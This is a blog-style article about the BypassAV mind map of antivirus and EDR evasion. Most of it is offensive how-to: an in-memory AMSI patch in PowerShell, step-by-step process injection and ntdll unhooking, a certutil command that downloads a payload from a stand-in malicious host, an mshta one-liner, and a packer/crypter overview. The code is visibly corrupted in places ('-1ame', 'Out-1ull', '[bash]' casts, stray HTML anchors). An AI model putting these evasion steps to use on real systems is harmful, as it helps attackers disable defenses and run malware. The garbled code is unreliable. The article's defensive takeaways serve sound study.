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Introduction:
The assumption that simply having an antivirus or Endpoint Detection and Response (EDR) solution installed equates to security is a dangerous fallacy in modern cybersecurity. When an adversary gains a foothold, their primary objective is not to steal data immediately but to silently disable or bypass the very tools designed to stop them—often using documented, publicly available techniques. The “BypassAV” project, a GitHub repository with over 3,300 stars, serves as a comprehensive, interactive mind map that catalogues these evasion methods, offering both red teams a roadmap for testing and blue teams a crucial lens for understanding their own defensive gaps.
Learning Objectives:
- Understand the core offensive techniques used to bypass AMSI, EDR hooks, and static signature-based detection.
- Analyze the “Living off the Land” (LOLBins) strategy and its effectiveness against traditional security measures.
- Learn practical, step-by-step commands and code snippets for both executing and defending against these evasion tactics.
You Should Know:
1. AMSI Bypass: Silencing the Scanner
The Anti-Malware Scan Interface (AMSI) is a Windows security feature designed to scan scripts and in-memory content for malicious patterns before execution. However, attackers have developed numerous methods to disable it. The most common and effective technique involves patching the `AmsiScanBuffer` function within the `amsi.dll` library while it resides in memory. By overwriting the function’s initial bytes with a simple return instruction (e.g., `0x31, 0xC0, 0xC3` which translates to xor eax, eax; ret), the scanner is effectively neutralized for the entire process lifecycle.
Step‑by‑step guide explaining what this does and how to use it:
This PowerShell script performs a global AMSI bypass by patching `amsi.dll` in memory.
- Locate the Target: The script dynamically uses `GetModuleHandle` and `GetProcAddress` to find the address of the `AmsiScanBuffer` function, avoiding hardcoded offsets that might break across different Windows versions.
- Modify Memory Protections: It calls the Windows API function `VirtualProtect` to change the memory protection of the target function region from `PAGE_READONLY` to
PAGE_EXECUTE_READWRITE, allowing the patch to be written. - Apply the Patch: The script writes the assembly instructions `0x31, 0xC0, 0xC3` to the beginning of the `AmsiScanBuffer` function.
- Restore Protections: It then calls `VirtualProtect` again to revert the memory protection to its original state, concealing the modification.
- Execution: Once the script (
GlobalAMSIBypass.ps1) is run, any subsequent PowerShell command or script executed in that session will returnAMSI_RESULT_CLEAN, effectively bypassing the scan.
Example of a simple AMSI bypass patch (for educational purposes)
This code illustrates the concept; actual implementations are more robust.
$MethodDefinition = @'
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
'@
$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -1ame "Kernel32" -1amespace "Win32" -PassThru
$Ptr = $Kernel32::GetProcAddress($Kernel32::LoadLibrary("amsi.dll"), "AmsiScanBuffer")
$OldProtect = 0
$Kernel32::VirtualProtect($Ptr, [bash]5, 0x40, [bash]$OldProtect) | Out-1ull
[System.Runtime.InteropServices.Marshal]::WriteByte($Ptr, 0x31) xor eax, eax
[System.Runtime.InteropServices.Marshal]::WriteByte(<a href="$Ptr.ToInt64()+1">IntPtr</a>, 0xC0) ...
[System.Runtime.InteropServices.Marshal]::WriteByte(<a href="$Ptr.ToInt64()+2">IntPtr</a>, 0xC3) ret
$Kernel32::VirtualProtect($Ptr, [bash]5, $OldProtect, [bash]$null) | Out-1ull
2. Process Injection: Hiding in Plain Sight
Process injection is a defense evasion technique where malicious code, often in the form of shellcode, is executed within the address space of a legitimate, trusted Windows process. By injecting into processes like `explorer.exe` or svchost.exe, the malicious activity can evade detection by appearing as benign system behavior. This technique is a cornerstone of many sophisticated attacks and is well-documented within the BypassAV mind map.
Step‑by‑step guide explaining what this does and how to use it:
A classic method for process injection involves several Windows API calls:
- Open Target Process: Use `OpenProcess` to obtain a handle to the target process (e.g.,
explorer.exe). This requires appropriate permissions. - Allocate Memory: Use `VirtualAllocEx` to allocate a block of memory within the target process’s address space. This memory is typically reserved with `MEM_COMMIT` and `PAGE_READWRITE` permissions.
- Write Shellcode: Use `WriteProcessMemory` to write the malicious shellcode into the allocated memory space of the target process.
- Change Memory Permissions: Use `VirtualProtectEx` to change the memory protection of the allocated region from `PAGE_READWRITE` to `PAGE_EXECUTE_READWRITE` so the code can be executed.
- Execute Shellcode: Use `CreateRemoteThread` to create a new thread in the target process that starts executing from the shellcode’s entry point.
3. API Unhooking: Restoring the System’s Integrity
Modern EDR solutions often use user-mode API hooking to monitor suspicious system calls. They achieve this by placing a hook (a `jmp` instruction) at the beginning of functions in system DLLs like ntdll.dll, redirecting execution to their own monitoring engine. Attackers can bypass this by “unhooking”—replacing the hooked version of the DLL in memory with a clean, unhooked copy loaded directly from disk.
Step‑by‑step guide explaining what this does and how to use it:
A common technique involves using the `pyNtdllOverwrite` tool, which automates the process of overwriting the `.text` section of a hooked ntdll.dll.
- Obtain a Clean Copy: The tool obtains a clean copy of `ntdll.dll` from one of several sources: the file on disk (
C:\Windows\System32\ntdll.dll), the `\KnownDlls` folder, or a process created in a debugged or suspended state (which loads a clean version). - Locate the Hooked DLL: It finds the address of the currently loaded (and hooked) `ntdll.dll` in the process’s memory.
- Overwrite the `.text` Section: The tool then overwrites the `.text` section (where the executable code resides) of the hooked DLL with the code from the clean copy, effectively removing all EDR hooks. This allows an attacker to make direct system calls without being monitored.
-
Living off the Land: Weaponizing the Operating System
“Living off the Land” (LOLBins) refers to the use of legitimate, built-in operating system tools to perform malicious actions. Because these binaries are signed and trusted, they often bypass application whitelisting and signature-based detection. Common LOLBins abused by attackers include `certutil.exe` (for downloading payloads), `mshta.exe` (for executing malicious scripts), and `regsvr32.exe` (for loading remote DLLs).
Step‑by‑step guide explaining what this does and how to use it:
An attacker can use `certutil.exe` to download and decode a malicious payload from a remote server:
certutil.exe -urlcache -split -f http://malicious-server.com/payload.exe C:\Temp\payload.exe
Similarly, `mshta.exe` can be used to execute a malicious JavaScript payload hosted on a remote server:
mshta.exe javascript:new ActiveXObject("WScript.Shell").Run("calc.exe")
5. Packer & Crypter: Evading Signature-Based Detection
Packers and crypters are tools used to obfuscate or encrypt the code of a malicious payload. By compressing, encrypting, or otherwise transforming the binary, they alter its signature, rendering static signature-based antivirus analysis ineffective. The payload is only decrypted or unpacked in memory at runtime, where more advanced behavioral analysis is required to detect it.
Step‑by‑step guide explaining what this does and how to use it:
This Python-based tool applies static evasion techniques to Windows PE64 binaries for educational purposes.
- Input: The user provides the path to a Windows PE (Portable Executable) file, such as an `.exe` or
.dll. - Obfuscation: The tool applies a series of transformations to the binary. This may include:
– Adding Junk Code: Inserting useless instructions to change the file’s hash and confuse signature analysis.
– String Obfuscation: Encrypting or encoding human-readable strings within the binary to hide indicators of compromise (IOCs).
– Control Flow Obfuscation: Restructuring the code’s execution flow to make analysis more difficult.
3. Output: The tool generates a new, obfuscated binary file that maintains its original functionality but has a completely different static signature.
What Undercode Say:
- Key Takeaway 1: The “BypassAV” project is not an attack tool but a critical educational resource. Its value lies in teaching the techniques rather than providing ready-to-use exploits, as understanding the methodology is far more valuable than simply running a tool.
- Key Takeaway 2: A multi-layered defense is essential. Relying solely on a single security solution is a recipe for failure. Blue teams must assume that an adversary will successfully execute these bypass techniques and focus on detection and response (e.g., monitoring for API unhooking, suspicious process creation, and unusual `certutil.exe` or `mshta.exe` activity).
Prediction:
- +1 The adversarial nature of the BypassAV project will continue to drive innovation in the defensive space, forcing EDR vendors to move away from easily bypassed user-mode hooks toward more robust, kernel-level monitoring and behavior-based detection.
- -1 The widespread availability and understanding of these techniques will lead to a surge in “off-the-shelf” ransomware and malware that can easily bypass traditional AV, lowering the barrier to entry for less sophisticated threat actors.
- -1 Organizations that fail to adopt a proactive “assume breach” mindset and invest in continuous validation of their security controls (e.g., through regular purple team exercises) will remain critically vulnerable to these documented evasion methods.
- +1 This increased awareness will also empower more organizations to build effective detection rules, leading to a cat-and-mouse game where both attackers and defenders are forced to operate at a higher level of technical sophistication.
- -1 The cybersecurity skills gap will be exacerbated as defending against these advanced techniques requires a deep understanding of operating system internals, a skill set that is still relatively scarce in the industry.
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